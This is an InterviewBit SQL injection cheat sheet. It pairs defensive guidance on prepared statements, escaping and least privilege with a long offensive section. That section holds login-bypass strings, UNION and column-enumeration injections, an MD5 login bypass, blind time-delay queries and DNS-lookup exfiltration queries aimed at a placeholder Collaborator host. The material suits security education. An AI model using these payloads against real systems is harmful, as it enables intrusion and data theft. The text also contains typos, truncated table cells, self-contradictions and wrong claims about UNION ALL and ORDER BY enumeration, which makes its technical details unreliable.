InterviewBit

SQL Injection Cheat Sheet

To view the live version of the page, [click here.]()

Contents

SQL Injection Tutorial: Basics to Advanced

1. PRIMARY DEFENSES
2. DATA SPECIFIC ESCAPING DETAILS
3. SWITCH OFF CHARACTER REPLACEMENT
4. ESCAPING LIKE CLAUSES
5. HEX ENCODING ALL INPUTS
6. ADDITIONAL DEFENSES
7. USEFUL SYNTAXES FOR SQL INJECTION
8. UNION BASED IN MYSQL
9. BYPASSING MD5 HASH CHECK LOGIN
10. FINDING COLUMN NAMES(ERROR BASED)
11. HINTS FOR USING UNIONS
12. BLIND SQLi

Let's get Started

An SQL injection exploit involves inserting or “injecting” a SQL query into the application's data stream in order to gain elevated privileges. A successful SQL injection exploit can read sensitive information from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutting down the DBMS), recover the content of a given file present on the DBMS file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.

SQL injection flaws can be exploited to spoof identity, destroy data, alter balances, or even reveal all data on the system. As an application server, SQL injection flaws can render the entire application inaccessible, corrupt data, or make it unavailable. An attacker can also administer the server.

SQL injection attacks are very common with PHP and ASP web applications because of their high prevalence. Due to the nature of programmatic interfaces available, J2EE and ASP.NET applications are less likely to have SQL injection vulnerabilities. SQL injection is a moderate impact vulnerability with a low probability of consequence. The attacker's skill and imagination are the keys to exploiting it, and low-privilege connections to the database are critical for defence-in-depth techniques such as securing connections to the server. In general, SQL injection is a high-impact vulnerability with a moderate probability of consequence.

SQL injection flaws are created when software developers employ string concatenation in database queries to create dynamic databases. To guarantee SQL injection problems are not created, developers must either:

- stop producing dynamic queries that include string concatenation; or
- keep off user-supplied input that might contain SQL code that is malicious.

SQL Injection Tutorial: Basics to Advanced

1. PRIMARY DEFENSES

1. Using Prepared Statements

Before learning to write SQL queries using prepared statements, all developers should be taught how to write parameterized queries. They are straightforward to write, and easier to understand than dynamic queries. Parameterized queries require the developer to first create all the SQL code, and then pass in each parameter afterwards. This coding style provides flexibility for the database by ensuring that the coding pattern is not influenced by user input.

An attacker should not be able to modify the structure of a query, even if SQL commands are inserted by him. Prepared statements guarantee that an attacker is not able to change the purpose of a query, even if he inserts SQL commands.

Language-specific:

LANGUAGE	COMMAND
JAVA EEE	use PreparedStatement()
.NET	use parameterized queries like SqlCommand() or OleDbCommand() with bind variables
PHP	Use bindParam()
Hibernate	use createQuery() with bind variables
SQLite	use prepare() to create a statement object

The following code example uses a PreparedStatement in JAVA to execute the same database query.

```
String name = request.getParameter("name");
String query = "SELECT balance FROM employee WHERE username = ? ";
PreparedStatement stmt = connection.prepareStatement( query );
pstmt.setString( 1, name);
ResultSet rs = stmt.executeQuery( );
```

.NET Prepared Statements

```
String query = "SELECT bal FROM data WHERE username = ?";
try {
 OleDbCommand command = new OleDbCommand(query, connection);
 command.Parameters.Add(new OleDbParameter("Name", CName Name.Text));
 OleDbDataReader reader = command.ExecuteReader();
 // ...
} catch (OleDbException se) {
}
```

2. Stored Procedures

There are some standard stored procedure programming constructs that, when implemented properly, result in the same effect as parameterised queries when used unsafely, which is the norm for most stored procedure languages. However, not all stored procedure languages require the developer to build SQL statements with parameters which are automatically parameterised. The SQL code for a stored procedure is defined and stored in the database itself, so it can be called from your application, unlike prepared statements. Both of these techniques have the same degree of effectiveness in preventing SQL injection, so your organisation should pick which technique is more appropriate for you.

'Implemented safely' means the stored procedure does not include any unsafe dynamic SQL generation. Developers do not usually generate dynamic SQL inside stored procedures. It is possible, but not recommended. Input validation or proper escaping must be used if the stored procedure does not use input validation or proper escaping. The input to the stored procedure must be validated or encoded using input validation or proper escaping before it is passed to the stored procedure. The auditor should always look for SQL statements used within stored procedures of SQL Server. Similarly, similar guidelines should be used for input functions of other vendors.

3. Risk with Stored Procedures

Stored procedures can also pose a security risk. In MS SQL Server, there are three primary roles: **db_datareader, db_datawriter**, and **db_owner**. Before stored procedures were introduced, DBAs gave db_datareader or db_datawriter permissions to the web services' users, depending on their requirements. With stored procedures, execute permissions, which are not available by default in some server configurations, must be obtained. If a server is breached, the attacker will have all of the database's privileges.

There are also situations where stored procedures increase risk. For example, on an MS SQL server, there are three main default roles: db_datareader, db_datawriter, and db_owner. Before stored procedures were used, database administrators assigned db_datareader or db_datawriter permissions to the web services' users based on the requirements. Stored procedures require permissions, which are unavailable by default in some configurations. Centralized user management may prevent certain roles from being used in web applications, but db_owner rights are allowed for all of them. If a server is compromised, an attacker will have unrestricted access to the database, enabling previously restricted read access.

The following code example uses a CallableStatement in **Java**.

```
String name = request.getParameter("Name");
try {
 CallableStatement cs = connection.prepareCall("{call sp_getAccountBalance(?)}");
 cs.setString(1, name);
 ResultSet res = cs.executeQuery();
} catch (SQLException se) {

}
```

.NET Stored Procedure

```
Try
  Dim command As SqlCommand = new SqlCommand("getAccountBalance", connection)
  command.CommandType = CommandType.StoredProcedure
  command.Parameters.Add(new SqlParameter("@Name", Name.Text))
  Dim reader As SqlDataReader = command.ExecuteReader()
  '...
Catch se As SqlException
  'error handling
End Try
```

3. Allow List Input validation

Bind variables should not be used, for example, in the table or column names or sort order, because they are outside the legal locations for such usage. Input validation or query redesign is the most appropriate approach in these situations. Code should be used for establishing table or column names, and not from user input.
To prevent unvalidated user input from affecting a query, parameter values should be mapped to valid/expected table or column names to ensure that valid input does not end up in it. This problem can be avoided by designing the parameter value section in a way that maps parameter values to the correct/expected table or column names.

For Example,

```
String TableName;
switch(PARAM):
 case "Value1": TableName = "Employee";
                break;
 case "Value2": TableName = "Contract";
                break;
 ...
 default  : throw new InputValidationException("unexpected value provided"+ " for table
```

The query can now be written using the table name as an appended column name since the table name is now known to be a legal and expected value for a column name in this query. It is important to note that validation functions on table names may result in data loss if they are used in queries where they are not expected.

4. Escaping user-supplied input

It is recommended that you use this approach only if all other methods have been exhausted. Input validation is probably a better choice because this technique is weak by comparison and we cannot guarantee it will prevent all SQL injections in all circumstances.
It is very database-specific to employ this technique. Retrogression code typically is employed when input validation is not costly to implement. This approach allows you to prevent data from being inserted into the query before it has been input. It is usually employed when developing legacy applications or providing low-risk demands. Parameterized queries, procedure calls, and ORMs should be used when developing or updating existing applications or ones that are somewhat based on object-relational mappers (ORMs).

An escaped character can be used in a database query in a manner that is specific to that database. To avoid potential SQL injection vulnerabilities, a character escaping scheme used in a character-only database query must be used in the same way that it is used in a character-valued database query.

ESAPI is a set of open-source, free, web application security control libraries that makes it simpler for developers to write safer applications. The ESAPI libraries are designed to make it simpler for developers to retrofit security into existing applications.

ESAPI currently has database encoders for:

- Oracle.
- MySQL (Both ANSI and native modes are supported).

Database encoders are forthcoming for:

- SQL Server
- PostgreSQL

2. DATA SPECIFIC ESCAPING DETAILS

We can build our own escaping routines.

In Oracle,

```
ESAPI.encoder().encodeForSQL( new OracleCodec(), queryparam );
If we had an existing Dynamic query being generated, the code would look something like
String query = "SELECT id FROM data WHERE username = '"
             + req.getParameter("id")
             + "' and password = '" + req.getParameter("password") +"'";
try {
   Statement statement = connection.createStatement( ... );
   ResultSet results = statement.executeQuery( query );
}
```

We can rewrite the first line to look like the following:

```
Codec ORACLE_CODEC = new OracleCodec();
String query = "SELECT id FROM data WHERE username = '"
+ ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter("id"))
+ "' and user_password = '"
+ ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter("password")) +"'";
```

This code is now safe from SQL injection.

3. SWITCH OFF CHARACTER REPLACEMENT

To ensure that automatic character replacement is disabled, use SET DEFINE OFF or SET SCAN OFF. An attacker who can obtain an SQLPlus prefix could potentially obtain private data.

4. ESCAPING LIKE CLAUSES

An Oracle text scanning query can use the LIKE keyword to match a character or a sequence of characters by using the _ character to recognise one character only and the % character to match zero or more characters. These characters must be escaped in the LIKE clause.

For example :

```
ELECT statement WHERE name LIKE '%pattern%' ESCAPE '/';
SELECT statement WHERE name LIKE '%pattern%' ESCAPE '\';
```

5. HEX ENCODING ALL INPUTS

It is extremely important for web applications to hex-encode the user input before submitting it to SQL. The user input must be hex-encoded before it is included in the SQL statement. To avoid a contradiction, the data should be compared based on this fact.

6. ADDITIONAL DEFENSES

We also recommend adopting all of these additional defences, which include the least privilege and allowance input validation, in order to increase defence in depth.

1. LEAST PRIVILEGE

To guard against a successful SQL injection attack, you should minimize the privileges granted to every database account in your environment. Do not give DBA or admin-type access to your application accounts. It is very dangerous to follow this approach because everything operates smoothly when it is done that way.

Rather than trying to determine what access rights are required for your application accounts, start from the ground up and determine what access rights your application accounts require, not what access rights you need to take away. Make sure that accounts that only require read access to the tables they need access to are granted read access to only those tables. If an account only requires access to a portion of a table, create a view that restricts access to that portion of the data and give the account access to the view rather than the underlying table. It may be rare if ever, to grant create or delete privileges to database accounts. If you require stored procedures everywhere and don't allow application accounts to directly execute their own queries, then only allow them to execute the stored procedures they need. Don't give them any access to the tables in the database.

In addition to SQL injection, malicious attackers can simply change the parameter values from one of the legal values to a value that is not available to the application, but which it is allowed to use. Even if the attacker is not trying to use SQL injection as their exploit, minimizing the privileges granted to your application will likely decrease the likelihood of such unauthorized access attempts, even if they do not know about it.

You should change the DBMS's operating system account to something less powerful, as MySQL does by default. Even if your DBMS runs out of the box as a system, you should not run it as root or system. Most DBMSs run as a system by default. Change the operating system account of the DBMS to something more appropriate.

2. MULTIPLE DATABASE USERS

It is vital for the designer of web applications to avoid using the same owner/admin account to connect to the database in order to maintain privacy. Different DB users might be used for different web apps.

A web application that needs to access the database should have a database user account that the web application will use to connect to the database. With this approach, the developer of the application can have fine-grained control over access, so that rights as little as possible are granted. The web application should have write access as necessary.

On the other hand, a login page does not require read access to any of the fields in a given table but does require write access to the username and password fields. These web apps, however, are able to connect to the database using different DB users; therefore, they can only be used with these web apps.

3. VIEWS

SQL views can increase the granularity of access to a table or a pair of tables by limiting the read access to specific fields or joins. For example, a certain legal requirement might require that user passwords be salted-hashed instead of plain-text passwords.

The designer could circumvent this problem by revoking all access to the table and creating a view that outputs the hash of the password field and not the field itself. An SQL injection attack that succeeds in stealing DB information would be restricted to stealing the hash of the passwords (even a keyed hash) since no DB user for any of the web applications would have access to the table itself.

4. ALLOWING LIST INPUT VALIDATION

To be valid, the input must be validated before it is passed to the SQL query. A bind variable is not legal under certain circumstances (e.g., when it is not legal to use a bind variable in the query). A secondary defence is used to detect unauthorized input before it is passed to the SQL query.

7. USEFUL SYNTAXES FOR SQL INJECTION

1. CONCATENATION

SQL	SYNTAX
Oracle	'str1'||'str2'
Microsoft	'str1'+'str2'
PostgreSQL	'str1'||'str2'
MySQL	'str1' 'str2' CONCAT('str1','str2')

2. SUBSTRING

SQL	SYNTAX
Oracle	SUBSTR('string', 4, 2)
Microsoft	SUBSTRING('string', 4, 2)
PostgreSQL	SUBSTRING('string', 4, 2)
MySQL	SUBSTRING('string', 4, 2)

3. STRING WITHOUT QUOTES

Returns ABC.

SQL	SYNTAX
Oracle	SELECT CHAR(65)||CHAR(66)||CHAR(67)
Microsoft	SELECT CHAR(65)+CHAR(66)+CHAR(67)
PostgreSQL	SELECT (CHaR(65)||CHaR(66)||CHaR(67))
MySQL	SELECT CONCAT(CHAR(65),CHAR(66),CHAR(67))

4. STRING MODIFICATION

In Microsoft SQL, MySQL and Postgre, to return the ASCII of the left most character we use the ASCII() function.

```
SELECT ASCII('X');
```

In Microsoft SQL and MySQL, to convert ASCII to CHAR, we use the CHAR() function.

```
SELECT CHAR(66);
```

5. COMMENTS

SQL	SYNTAX
Oracle	`--comments`
Microsoft	`--comments` `/*comments*/`
PostgreSQL	`--comments` `/*comments*/`

MySQL	`#comments`
	`-- comments`
	`/*comments*/`

6. DATABASE VERSION

SQL	SYNTAX

Oracle	`SELECT banner FROM v$version`
	`SELECT version FROM v$instance`

Microsoft	`SELECT @@version`
PostgreSQL	`SELECT version()`
MySQL	`SELECT @@version`

7. BATCHED QUERIES

You may issue batched queries to execute multiple queries in sequence. At the time, the subsequent queries are executed,the results are not returned to the application. In blind exploits, for example, you can use a second query to look up the DNS name, generate an error, or delay for a bit.

SQL	SYNTAX
Oracle	`Not Supported`
Microsoft	`QUERY-1-HERE; QUERY-2-HERE`
PostgreSQL	`QUERY-1-HERE; QUERY-2-HERE`
MySQL	`QUERY-1-HERE; QUERY-2-HERE`

8. TIME DELAYS

Stop or halt the execution for a given time.

SQL	SYNTAX
Oracle	dbms_pipe.receive_message(('a'),100)
Microsoft	WAITFOR DELAY '0:0:100'
PostgreSQL	SELECT pg_sleep(100)
MySQL	SELECT SLEEP(100)

9 CONDITIONAL TIME DELAYS

We can trigger a time delay when a particular condition is met.

SQL	SYNTAX
Oracle	`SELECT CASE WHEN (CONDITION) THEN 'a'||dbms_pipe.receive_message(('a'),100) ELSE NULL END FROM dual`
Microsoft	`IF (CONDITION) WAITFOR DELAY '0:0:100'`
PostgreSQL	`SELECT CASE WHEN (CONDITION) THEN pg_sleep(100) ELSE pg_sleep(0) END`
MySQL	`SELECT IF(CONDITION,SLEEP(100),'a')`

10. DNS LOOKUP

We can make the database perform a DNS lookup to an external domain. We must use Burp Collaborator client to create a unique Burp Collaborator subdomain and then poll the Collaborator server to ensure that a DNS lookup occurred, in order to cause the database to perform a DNS lookup.

SQL	SYNTAX
Oracle	`SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTI`
Microsoft	`exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'`
PostgreSQL	`copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDON`

MySQL	`LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')`
	`SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'`

11. DNS Lookup with Exfiltration

A database can be made to perform a DNS lookup for an external domain containing the results of an injected query.

SQL	SYNTAX
Oracle	`SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UT`
Microsoft	`declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec(`

PostgreSQL	`create OR replace function f() returns void as $$`
	`declare c text;`
	`declare p text;`
	`begin`
	`SELECT into p (SELECT YOUR-QUERY-HERE);`
	`c := 'copy (SELECT '''') to program ''nslookup '\|\|p\|\|'.BURP-C`
	`execute c;`
	`END;`
	`$$ language plpgsql security definer;`
	`SELECT f();`

MySQL	`SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUE`

12. IF STATEMENTS

SQL	SYNTAX

ORACLE	`BEGIN`
	`IF condition THEN true clause ; ELSE false-clause; END IF; EN`

Microsoft	`IF condition true-clause ELSE false-clause`
PostgreSQL	`SELECT CASE WHEN condition THEN true-clause ELSE false-clause`
MySQL	`IF(condition,true-clause,false-clause)`

13. BYPASSING SQL LOGIN SCREEN

SQL injections can be bypassed on login screens and forms by using various SQL injections:

Syntaxes:

```
admin'    #
admin"    #
admin'))    #
admin') or ('1'='1'--
admin') or '1'='1'/*
admin'  or 1=1 or ''='
admin") or "1"="1
' or 1=1    --+
' or 1=1    #
" or true    --+
" or "        " "
" or true    --
')) or true    -- -
') or ('1'='1    --
```

8. UNION BASED IN MYSQL

- Using UNION, one or more queries can be executed and their results appended to the original query in MySQL.

```
union select @@version,sleep(100),5
```

- The number of tables in the database can be determined by incrementing the specified table index number until an error occurs using UNION.

```
' order by 25
' order by 26
' order by 27  (If this gives an error, we have only 27 tables)
```

9. BYPASSING MD5 HASH CHECK LOGIN

In order to pass through the authentication process, if the application checks the username against the MD5 value it supplied, you must employ some tricks to fool it into doing otherwise. You can use the processed results with a known password and the MD5 hash of your password. This method is exactly the same as mentioned above, except that instead of checking MD5 from the database, the application compares your password to its MD5 hash.

SYNTAX:

```
USERNAME: admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
PASSWORD: 1234
```

10. FINDING COLUMN NAMES(ERROR BASED)

```
' HAVING 1=1 --
' GROUP BY table.columnfromerror1 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- a
```

If no errors are encountered, then it is complete.

Using ORDER BY can speed up the UNION SQL Injection process.

```
ORDER BY 1--
ORDER BY 2--
ORDER BY N-- so on
```

Keep going until you get an error. If you encounter an error, we have found the selected number of columns.

11. HINTS FOR USING UNIONS

Always use UNION with ALL in order to get records with distinct fields.

By default, the union tries to get records with distinct fields.

To get rid of unneeded records from the left table, use -1 or any non-existent record at the beginning of the query (if the injection is in WHERE).
This might be critical in the case where you have just one result at a time. Be careful in blind situations, you may understand that there is an error coming from the database or application itself. It is common for ASP.NET developers to throw errors while trying to use NULL values (because they normally don't expect to see NULL in a username field).

In Microsoft SQL, to find column type run the following

```
' union select sum(column) from users;
```

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.

As we are getting an error, the column type is numeric.

12. BLIND SQLi

In a quite good production application, you generally cannot see errors on the page, so you cannot extract data through Union attacks or error-based attacks. You must use Blind SQL Injections attacks to extract data. There are two types of Blind SQL Injections.

- **Normal Blind**: It is not possible to view the response but you can still determine the result of a query by viewing the HTTP status code or response.
- **Totally Blind**: There is no output difference in any way. This could be an injection or logging function. Not so common, though.

In totally blinds, you must use waiting functions or testing algorithms in order to inject code into normal blinds. You must use if statements or abuse the WHERE keyword in injection in totally blinds (generally harder). You may employ WAITFOR DELAY '0:0:10' in SQL Server, BENCHMARK() and pg_sleep(10) in MySQL, PostgreSQL, and PL/SQL.

PAUSING DATABASE FOR BLIND SQLi Attacks

1/0 style errors, if it is really blind, should be used to identify differences. Second, be very careful when times are more than 20-30 seconds. database API connection or script might timeout.

Syntax in Microsoft SQL Server,

```
WAITFOR DELAY ‘time’
```

COMMAND	SYNTAX
WAIT FOR	`WAITFOR DELAY '0:0:100'`
WAIT FOR FRACTIONAL TIME	`WAITFOR DELAY '0:0:0.100'`

BOOLEAN BASED:

We can ascertain whether a certain message is truthful or deceptive by examining whether or not we are receiving a positive message. If the query is met, a positive message is displayed; otherwise, nothing is displayed. We can, therefore, ascertain whether or not the message is truthful by examining whether or not it is shown. We may determine whether a message is truthful by examining whether or not we receive a positive response.

To convert our data into true or false queries, we now need to analyze how we are going to generate query strings. Using the ‘substring()’ function, we can generate a boolean query. It returns a substring of a given string, in our case, is the character at the position specified by the starting index of the substring (starting at one) and the number of characters to be shown (1 character).

```
substring(<original_string>, <starting_index>, <number_of_characters>)
```

We will use ‘if()’ statements for conditional execution in which the first parameter is the condition, the second is the task to be performed when that condition is true, and the third is the task to be performed when that condition is false.

```
if(<condition>, <query1>, <query2>)
```

Conclusion

A SQL injection exploit allows an attacker to trick users into supplying incorrect credentials, corrupt data, void transactions, or change balances, among other things. It also exposes all data on the system, destroys it, or makes it unavailable, and allows for the administration of the server.

By going through this cheat sheet, you would have got a decent understanding of SQL Injection vulnerabilities and how to prevent them.

Additional Resources

- SQL Interview Questions
- SQL Cheat Sheet
- SQL MCQ With Answers

Links to More Interview Questions

- C Interview Questions
- Php Interview Questions
- C Sharp Interview Questions
- Web Api Interview Questions
- Hibernate Interview Questions
- Node Js Interview Questions
- Cpp Interview Questions
- Oops Interview Questions
- Devops Interview Questions
- Machine Learning Interview Questions
- Docker Interview Questions
- Mysql Interview Questions
- Css Interview Questions
- Laravel Interview Questions
- Asp Net Interview Questions
- Django Interview Questions
- Dot Net Interview Questions
- Kubernetes Interview Questions
- Operating System Interview Questions
- React Native Interview Questions
- Aws Interview Questions
- Git Interview Questions
- Java 8 Interview Questions
- Mongodb Interview Questions
- Dbms Interview Questions
- Spring Boot Interview Questions
- Power Bi Interview Questions
- Pl Sql Interview Questions
- Tableau Interview Questions
- Linux Interview Questions
- Ansible Interview Questions
- Java Interview Questions
- Jenkins Interview Questions